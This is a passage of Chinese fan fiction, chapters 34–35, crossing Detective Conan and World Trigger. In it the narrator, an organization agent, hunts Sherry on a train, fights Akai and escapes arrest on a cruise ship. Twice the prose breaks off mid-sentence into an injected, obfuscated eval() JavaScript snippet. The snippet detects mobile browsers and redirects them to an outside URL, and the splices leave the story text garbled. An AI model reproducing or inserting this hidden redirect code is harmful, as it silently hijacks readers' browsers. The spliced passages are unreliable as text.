“绝佳的暗杀机会。”琴酒转眼就给我提供了个计划:“你可以提前在列车上装好炸弹,等到站后把一切都炸飞。” “确实。”这的确是个简单粗暴的方案。 “不过波本和贝尔摩德肯定不会愿意这样做。”我说道:“要我说,我们也不用着急狙击雪莉,毕竟有人会比我们更希望她死。” “你是说贝尔摩德?”琴酒一下回过神:“那个女人倒是对雪莉有非比寻常的仇恨。” “但又对毛利小五郎异常地偏爱。”他摩挲着酒杯,若有所思:“这次行动让他们俩来,再加上你,没理由会失败。” 我笑道:“嘛,大哥,你等着看结果吧。” 琴酒看着浮沉的冰块,突然说道:“我收到了波本要加入监视毛利小五郎这个任务的申请。你跟他说了什么?” “我说黑麦在暗中保护毛利小五郎。”我偷笑道:“然后他就迫不及待地咬钩了。” 琴酒哼了一声:“以他和黑麦的关系,倒也不让人意外。真不理解波本对黑麦哪来那么大的仇恨。” 当然是因为深爱着日本的降谷零讨厌FBI啦。 “说实话,我感觉波本要是去对付黑麦,绝对会出百分之二百的力。”我看热闹不嫌事大地说。 “给他们各自都找好了对手。接下来,只要给他们场地发挥就行。” 34.第三十四章 人声鼎沸的火车站因为铃木家的高速列车而显得更加喧闹。 我在包厢里找到了波本和贝尔摩德。 “利莱酒,你是怎么混进列车上的?”贝尔摩德探究地问。 我笑而不语。 当然是用万能的Chamelion啦。 甚至给我省了车票。 利用建模给自己伪造了一个通行戒指的我美滋滋地想到。 “真可惜,这次不能以当归苓的身份上车。”我叹气,抚了抚自己深蓝色的长发:“不然就能正大光明地在毛利小五郎他们附近晃悠了。” 谁叫我不走运地提前碰上了少年侦探团呢。 为了不让柯南防备到甚至不让雪莉上车,我才特意说自己没空的,不然我肯定就用当归苓的身份买票了。 波本敏锐地捕捉到细节:“明明有潜伏在他们身边的身份,为什么没用?你还故意说自己腾不出时间。” 我用食指抵在唇边:“这就是我的秘密了。” “潜伏在毛利小五郎身边?为什么?”贝尔摩德不明所以道:“利莱酒,我倒不知道你这么有闲情?” “那毛利小五郎足够可疑啊。”我自顾自地收拾背包:“虽然你上次为他开脱了,但我个人还有些疑点没有答案呢。” 我对上贝尔摩德不善的眼神——对于靠近她家天使的代号成员,她都很警惕呢。 波本察觉到了我们之间奇怪的氛围,接话道:“围绕在那个侦探身边的人确实都挺古怪的。” “哦?哪里古怪?”贝尔摩德追问道。 “你不觉得的沉睡的小五郎这个称号本身就很奇怪吗?”我来劲地分析:“明明大家都知道这个人睡着了,但却依然相信他在这个状态下还有推理能力。” “假设世界上不存在超出科学的力量,那么,按常规思路来想的话,就应该是有人用变声器发出他的声音吧?再说,我也围观过传说中的沉睡的小五郎。有的时候,分明是他的声音,但他本人完全没有张嘴,而且也一副‘这个声音是我发出来的吗’不知情的模样。这不更加能实锤变声器吗?” 我发表完长篇大论,看了看沉默的两个人:“你们不至于从来都没发现过这些破绽吧?” 波本笑了笑:“那当然是发现过的,所以才要监视他,不是吗?” “那倒是。” “好了,闲聊到此为止。该干活了。”贝尔摩德打断道。 我靠在一旁看他们化成伤疤赤井的模样:“没有长发的黑麦还真是令人不习惯。” “你只是因为黑麦从始至终都没让你碰他的头发,而心怀不满吧。”波本吐槽道。 “是。不过你说黑麦为什么留这么长的头发呢?是在模仿大哥吗?”我摸着下巴,思考道:“莫非是想引起大哥的注意?” “要不你问问他?”波本以黑麦的模样跟我说话。 “行啊。等我们找到他。” 贝尔摩德懒得参与话题:“让我们确定一下本次行动的目标。” “第一,杀死雪莉。第二,试探赤井秀一身边的人他是否真的死亡。” “OK。那我先在这辆火车上到处逛逛。有事再联络我。”我戴好口罩,背着包离开。 我一个人从车头逛到车尾,踩完点后,在餐车里遇上了正和毛利小五郎攀谈的波本。 我顺理成章地凑过去:“透!我找了你好久!”我直接挨着波本坐。 “这位是?”毛利小五郎疑惑地看向安室透。 “我最近在追求透!”我故作亲昵地挽上波本的胳膊。 “啊……嗯,对。”波本无奈地道。 “透,这位是?”我笑眯眯地反问。 “啊哈哈,安室可是我的大弟子呢。”毛利小五郎憨憨地挠头介绍道。 我恍然大悟:“原来如此!原来您就是透经常提到的英明神武的侦探老师啊!” 毛利小五郎被我吹得忘乎所以。 其乐融融的氛围刚持续没多久就被毛利小五郎接到的一通电话打断了。 “喂?兰?”毛利小五郎接完电话就抱歉地同我们分别。 趁他走远,我点了意大利面当午餐,再附带美味的果汁。 “你别那么亲密地叫我,我差点忍不住想吐。”波本刻薄地评价着我的演技:“而且,追求者又是什么破身份?” 我翻了个白眼:“你觉得我不反胃吗?你知道我做了多大的心理建设才这么喊出口的吗?” 我猛灌一口果汁,压压惊:“你不跟着他去破案吗?” “现在就去。”波本没好气地道。 我留在原地解决完午餐和果汁,就往八号车走。 我掐着时间,在六号车附近守株待兔。 远远看见茶发的小女孩跑出来,我打算来个不经意的偶遇。 不过,好像被一个粉毛眯眯眼截胡了。 我大步上前:“喂!你这家伙为什么欺负小孩啊!”我义正词严地挡在他们中间。 “不好意思,你可能是误会了。我没有在欺负她。”粉毛版的黑麦解释道。 我回头看了看包着两颗眼泪的小女孩,斥责道:“还说没有!人家都哭了!” 我上手去牵小女孩:“不要怕,我带你离开这里。” 黑麦拦住我:“很抱歉,但是我不能把她交给你。” “啧,你这家伙,怎么说不听啊。”我恼火地瞪着他。 “你才更加奇怪吧,我起码和这孩子认识,你一个陌生人,这孩子愿意跟你走吗?” 我抓着雪莉的手:“你怎么知道我不认识这孩子?” 我单手抱起雪莉,迅速格挡住黑麦的进攻,几个来回后,我以被取掉口罩的代价拉开跟他的距离。 黑麦睁开了他绿色的眼睛:“你是谁。” “你猜不到吗?黑麦?”我叹息道:“那可真让我失望。” “你在说什么?”黑麦还在装傻。 我把雪莉夹在腋下,从口袋里摸出一个遥控器:“没关系,你爱演的话,我也可以配合你。” “雪莉,接下来轮到你做选择了。”我给两个人都看了看手里的遥控器:“要不要猜猜这是什么?” “利莱酒,你在列车上装炸弹了?”黑麦质问道。 “嗯哼。”我作出一副开心的模样:“啊啦,黑麦,你记起我了?” 我低头瞧了眼瑟瑟发抖的小孩:“那雪莉你记起来了吗?” “利莱酒,你想做什么?”他眼神锐利,仿佛一头蓄势待发的狼。 我笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357028|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了笑:“不做什么,就是让雪莉选一选要不要跟我走。” “我跟你走!”雪莉立刻喊道。 我无趣地撇了撇嘴:“怎么同意得这么快?我连威胁都还没说出口诶。” 我自顾自地补上:“虽然你抢白了,但我还是要说!不跟我走的话,我就先把八号车厢炸了——那里有你们在乎的人吧?” 我像个愉悦犯一样欣赏雪莉失了血色的面庞,呀,吓小孩真好玩。 “雪莉,不要相信她。我们没有发现任何炸弹,她是唬你的。”我从来没发现黑麦惯会说谎。 其实我也就是逗逗他们,现在还不到炸的时候呢。 我把遥控器揣回去,换了把枪,抵着雪莉的头:“真是的,黑麦你不要揭穿我啊。” 我搂着雪莉,正和黑麦对峙之际,怀里的雪莉突然说话了。 “利莱酒,我的姐姐,是你杀的吧?”她强忍着哭腔问。 我望着神情凝重的黑麦,绽出一个笑容:“是的哦。” “你的姐姐在临死前还在做着不切实际的梦呢。”我抱着刺激他们的想法,火上浇油道:“她可想让你逃离组织了,为此不惜去做抢劫银行搞到十亿元的任务。可惜,她只能含恨而死。” “呐——黑麦,好歹也是你的女朋友,你怎么没教教她要怎么在组织里活下去啊?”我挑拨离间道。 “够了!我不许你这样说她!”雪莉奋力挣扎着,我一时间差点没抱住她。 黑麦抓住机会,猎豹一般冲到我面前,掰折我的手抢走了雪莉。 ——可疼死我了。 我毫不留情地分别在他肩腹处各开了个洞。 我恨恨地追着他射击,可惜他抱着人快速地躲进了车室里。 “喂!你在干什么!”列车员的叫嚷让我不得不暂时放过他们。 我泄愤地踹了一脚他们的门:“黑麦!你等着!” 放下狠话,我跑出来人的视线范围,一路往八号车去。 贝尔摩德和波本此时正好行动,八号车有火灾的播报响起。 我随手扯出备用口罩,逆着人流去支援波本。 我赶到的时候,波本正和成年版的雪莉相对而立。 我走到他身侧,打量着这个雪莉——说实话,成年版的我还是第一次见。 “波本,别跟她废话了。”我举着枪说道:“直接废了四肢带走。” 波本按住我的手:“怎么了利莱酒?那么激进?” 我甩开他:“别碍事。我现在,心情很不好。”说罢,我打靶似的连开几枪。 也许是重要角色的Buff,又或者是怪盗基德点了不少闪避的缘故,我原本百发百中的枪法被拉到了六中二的程度。 我换了弹匣,步步紧逼逃往货箱的怪盗基德。 可惜,变魔术的,手速确实是快。 我遥望着那个白色的滑翔翼,给贝尔摩德传信息:“我们被骗了,出现在八号车厢的不是雪莉,是怪盗基德。” “怎么样,贝尔摩德,我敢保证雪莉现在还在车上。”我提出新方案:“你现在到八号车厢来,我们把七号和八号车厢的连接处炸开之后,我会启动其余车厢的炸弹。” “雪莉一定会被炸得尸骨无存。”我阴恻恻地道。 35.第三十五章 “利莱酒,到底是谁惹你这么生气?”等我挂掉电话后,波本好奇地问道。 我咬牙切齿地道:“你说我上一次这么生气是因为谁?” “黑麦?”波本若有所思:“他还活着?” 我冷笑一声:“活得好好的。甚至还有余力去救雪莉。” 我看着波本在八号车和货车厢的连接处安上炸弹:“既然贝尔摩德选择按原计划来,那之后的事我就不参与了,反正列车到不了名古屋,也没有引爆的必要。” 我站到货车厢那部分:“那么,晚点见。” 我目送那列神秘列车飞速远去,随意甩了个Grashopper落到铁轨上。 我沿着铁轨慢慢走,拨通了琴酒的电话:“喂,大哥,计划失败了。雪莉没死,黑麦也没死。” “怎么?黑麦伤到你了?”琴酒十分了解我说话的语气,一般我简明扼要、没有任何黏糊糊的尾音时,就代表我遇到不愉快的事了。 “是。”我滔滔不绝地开始抱怨:“他掰折了我的手,疼死了!我平生最讨厌疼痛!我一定要百倍、千倍地还给黑麦!” 琴酒点着打火机玩:“你没还手?” “当然还了!不过只打中他两枪,这怎么够!迟早有一天我要把他打成筛子!”我想象着用Hound瞄准黑麦的场景,不禁感到解气。 “大哥,你以Boss的身份派朗姆去监视毛利小五郎,说他疑似在暗中帮助雪莉和黑麦。”我开始铺垫,要把朗姆拉下水。 * 给波本和苏格兰透露了朗姆的情报后,他们顿时整天忙得不见人影。 我悠闲地等着他们配合主角团准备抓捕朗姆。 “喂,兰酱?”我有一下没一下地摸着莉莉的头:“抽到了豪华邮轮一周游的票?你还真是一如既往的好运气啊。”我假装没听出来她的紧张。 “那……当归小姐,你会来吗?”她犹疑地问。 “我会来的。”我欣然答应了她的邀约。 【大哥,三天后,准备接应我。】 发完消息后,我专注地陪着莉莉度过剩下这几天。 之后可能就要把她托付给别人了。 我拖着行李箱来到登船口。 远远望见乌泱泱的一大片人围着毛利小五郎他们,我仔细辨认了一下:波本,朗姆,少年侦探团,还有黑麦。 啧啧啧,好一场大戏即将开幕啊。 我走上前融入他们:“兰酱,我应你的约,来了哦。” 毛利兰有点支吾地嗯了一声。 我笑眯眯地听着他们攀谈。 相谈甚欢的氛围下是暗流涌动,我们气氛微妙地登了船,一个不落。 大家的舱室都彼此挨着,我扫了一眼,我和朗姆被安排在最旁边,住在我们舱室附近的基本都是日本公安和FBI。 哈,也算是有排面了一回。 我安静地待在屋里睡觉。 他们真要行动也得等船航行了一段时间再说,这样才能确保我们无处可逃嘛。 第一晚我没发生什么,但我估计朗姆应该是出事了。 我听着无数跑上跑下的脚步声,翻了个身继续睡觉。 优先抓捕朗姆,之后再抓我啊,倒是正确的选择。 我把自己当成普通的游客,孤身一人到处拍照,好歹纪念一下退场前的风景嘛。 不过走哪儿都有人跟着,实在称不上美好的游玩体验。 我瞥了眼把我包围的红方人群,识趣地没有去找主角团的任何人。 反正他们会主动来找我的。 晚饭的时候,我正常地去吃饭,不出所料地碰见了正在等着我的柯南。 我打了个哈欠:“柯南君,有什么事等我吃饱了再说,好吗?” 我去领完餐后,在一脸严肃的小侦探对面落座。 “当归小姐,你就是利莱酒,对吗?” 既然小侦探这么单刀直入,我也爽快地承认。 “是。”我小口小口抿着菠萝汁:“还有什么想知道的吗?工藤新一?趁我现在心情好,劝你快点问哦,我会大发善心地解答的。” 柯南小脸一白,落了滴冷汗:“你是怎么知道的?” “嗯……说来话长。最初是从土门康辉刺杀事件发现的哦。” 我颇有耐心地给他娓娓道来:“你在基尔的鞋子上装了窃听器和定位器,但是因为靠得太近,没把握住距离,被我们的人发现了。你当时也听到了吧?琴酒大哥派我去查看黄色甲壳虫的事。” 我看了一眼摸进来的波本,继续道:“我们的外围成员一路跟着那辆车追到了阿笠博士的家,然后你猜他们在那里发现了谁?” 我适当地引入互动环节。 柯南很给面子地回答:“FBI和毛利叔叔。” “正答。可惜我没有小红花可以奖励你。”我口头表扬道。 “之后的事你也经历了,我去毛利侦探事务所了。原本只是想把毛利小五郎绑回来的,谁叫黑麦破坏了我的计划呢。”我无奈地叹道。 柯南攥紧了拳头:“我以为你是真心把兰当成好朋友的。” “我是把兰酱当成好朋友啊。”我思考了下,认证道:“说是最好的朋友也不为过。” “那你为什么还要对小五郎叔叔下那么重的手!”柯南有些激动地问:“你知道兰有多伤心吗!?” 我沉默了一下:“说实话,我已经很留手了哦。” 柯南用复杂的眼神看着我:“当归小姐,你真的很矛盾。说你在乎兰,你却对小五郎叔叔毫不留情。可说你不在乎她,你又在明知是陷阱的情况下,主动来搭乘这艘邮轮。” “当归小姐,你到底有什么目的?” “哦哦!真不愧是工藤君。很有气势哦。”我笑嘻嘻地称赞道:“不用想着搞懂我的想法啦,毕竟神经病做事是没有道理的。”我直接把琴酒安在我身上的称号拿来搪塞他。 “我真的不理解,你肆无忌惮上船的理由到底是什么。”柯南推了推眼镜:“是因为朗姆吗?” 我笑吟吟地托腮看着他,转移话题道:“啊对了!工藤君,你把自己的情况告诉兰酱了吗?要是没有的话,我不介意当那个为她揭开真相的人哦。” “当然说了。有你这样的危险人物在她身边,怎么可能不说啊。” 我忍不住鼓掌:“恭喜你迈出了这关键的一步!兰酱终于等到了呢。记得以后也不要有事情瞒着她哦,当唯一的局外人是很令人伤心的。”我劝诫道。 我把目光移向波本:“朗姆和他手下的人抓到了吗?” “抓到了。”波本意料之外地开始劝说我:“利莱酒,投降吧,船上都是我们的人。你现在弃暗投明还可以做污点证人。从你救下苏格兰并且帮他隐瞒身份的时候,我就知道你心里还是善良的……” “波本!”我大叫着打断他:“不要说那么恶心的话。” 我恶寒地搓着胳膊:“你当时明明就很防备我,认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361819|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为我给你的幼驯染灌了迷魂汤!” 波本收敛了那虚伪的表情:“你以为我很想这么说话吗!?要不是hiro非说可以试试劝降你,我早就动手抓人了!” 我舒了一口气:“还是这样的波本比较熟悉。” “所以苏格兰酱没在这艘船上吗?” “在又怎么样?不在又怎样?”波本反问道。 我耸了耸肩:“不怎么样。在的话我就跟他道别一下。不在的话,就由波本跟他说吧。” “我想说的话已经说完了。”我站起身来:“让我们结束这场交谈吧。” “我是不会跳反的。要打就赶快动手吧。” 餐厅的两道大门被踹开,呼啦啦地涌进一群人把我包围起来。 我看了一圈黑乎乎的枪口,偏头望向波本和他身侧的黑麦:“倒是挺看得起我嘛,甚至能放下仇恨和FBI联手。” “利莱酒,不要负隅顽抗了,你是不可能逃得出去的。”黑麦用枪瞄着我,说道。 我不置可否:“那就试试吧。” “Viper。”我左右手各浮现一个大方块:“加上,Meteoara。” 我将二者融合在一起:“Tomahawk!” 这还是我第一次实际用上合成弹。 它兼具Viper和Meteoara的特性,相当于发射能自由控制轨道的炸弹。 我没在弹道上费太多心思,直接让它呈放射性的圆一样散出去,主打一个无差别攻击。 整个餐厅,连带上下两层都被我毁灭,乌泱泱的人群如潮水般退去。 我独自站在废墟中,随意挑了个出口跳出去。 我一路轰炸到甲板上,从未感觉自己如此像一个射手。 “当归小姐!停下来!”我听见一道耳熟的声音这么喊着:“你再继续会让整艘船都沉没的!” 我循声望去——是小兰啊。 几乎是我刚刚停住的一瞬间,就有数道狙击打了过来。 可惜,不会有他们想象的血花四溅。 我感觉到了有人是特意往我头上打的,我换出Lightning,朝那个方向一看——果然是黑麦! 我以牙还牙地跟他对狙。 “当归小姐!”小兰一路跑来,身旁还跟着柯南那个小短腿。 我有点想笑,但又不能笑:“兰酱,这里很危险,不要过来。” “但是……” “关于莉莉的归属,我想来想去,想了很久,还是决定把她交给兰酱。”我笑着退到船舷附近:“兰酱,要好好帮我照顾她哦。永别啦。” 我看着围过来的日本公安和FBI,翻身一跳,落进了海里。 “当归小姐!” 我隐约听见小兰在喊我的名字。 拜拜啦,属于当归苓的人生就此告一段落了。 我模仿着游真在脚上开Scorpion,人工制造脚蹼,一路深潜。 系统提供的雷达红点在视野里稳定地闪烁着,我在深海里徜徉,东摸摸西看看地游到了一艘潜艇旁。 我用Spider把身体绑在潜艇上,然后让系统给琴酒发信息。 潜艇带着我远离那艘邮轮,不知道潜行了多久才终于上浮。 我们来到一处基地,我借着Grashopper几下轻点就上了岸。 “大哥,伏特加,让我们庆祝自己的新人生吧。” 不用遵循漫画剧情的新人生。